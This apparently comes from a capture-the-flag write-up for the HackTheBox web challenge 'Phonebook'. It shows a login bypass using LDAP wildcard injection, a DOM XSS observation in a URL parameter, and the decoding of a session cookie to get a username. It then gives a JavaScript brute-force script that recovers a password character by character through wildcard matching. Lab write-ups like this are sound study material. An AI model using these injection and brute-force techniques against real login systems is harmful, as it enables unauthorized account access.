Phonebook

Platform: HackTheBox | Category: Web | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Who is lucky enough to be included in the phonebook?

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. First, open the host given.

2. Try to enter the username as admin and the password as admin.

3. Yeah obviously we failed, but notice at the url parameter.

4. The message parameter has Authentication failed as the value.

5. Also there's a note from Reese:

6. After did several SQLi command, i found that when i entered both username and password as *. We successfully logged in! With this we know that the website is using LDAP Authentication. We can utilize that to bruteforce the website.

LOGGED IN

1. Let us check for Reese.

2. Well got no clue.

3. Let us go back to the login page.

4. I tried to change the message parameter.

5. It changed, maybe it's related to XSS (?)

6. When i entered a simple xss payload, we got nothing.

7. But when i tried to enter xss with the tag. Got this result:

1. Great we can conclude that the website is vulnerable to XSS.

2. And the type of XSS is DOM XSS, means the vulnerability exists in client-side code.

3. Now how to get the correct username?? I think it's a luck, when i tried to see the cookies after i logged in using * as username and pass.

COOKIE

MTY3MTYzNjczNnxEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQW9BQ0dGMWRHaDFjMlZ5Qm5OMGNtbHVad3dIQUFWeVpXVnpaUT09fNLEZJsY2tV2A42nzGyxDgQtIvKJZR37B0b69fpdZvbf

1. Then i pasted it on cyberchef.

2. Decode the base64 text.

Dv-BBAEC_4IAARABEAAAJ_-CAAEGc3RyaW5nDAoACGF1dGh1c2VyBnN0cmluZwwHAAVyZWVzZQ==

1. Guessing the username as reese.
2. Then bruteforce the password using javascript.

THE SCRIPT

function getFlag()
{
    //console.clear();
    var strings = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_' // alphabets to check
    var i, flag, req; 
    for (i = 0; i < strings.length; i++) // as long as i lower than the length of strings
    {
        flag = 'REDACTED'; 
        req = new XMLHttpRequest();
        req.open('POST', location.href, false);
        req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        req.send('username=reese&password=' + flag); // Username as reese and pass as flag*

        if (req.responseURL.split('message')[1] === undefined)
        {
            localStorage.setItem('flag', localStorage.getItem('flag') + strings[i]);
        }

        console.clear(); // clear the terminal 
        console.log('REDACTED'); // concate the flag with HTB prefix -> REDACTED
    }
}

var i;
for(i = 0; i < 10; i++) // iterate the func 10 times (in case the flag we got is incomplete, then increment the iteration)
{
    getFlag();
}

1. Before run the script, open the localStorage then add a key named flag and leave the value blank.

2. Now run the script at the console.

3. When i input the flag as answers, it turned green.

4. Means we got the correct flag!

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.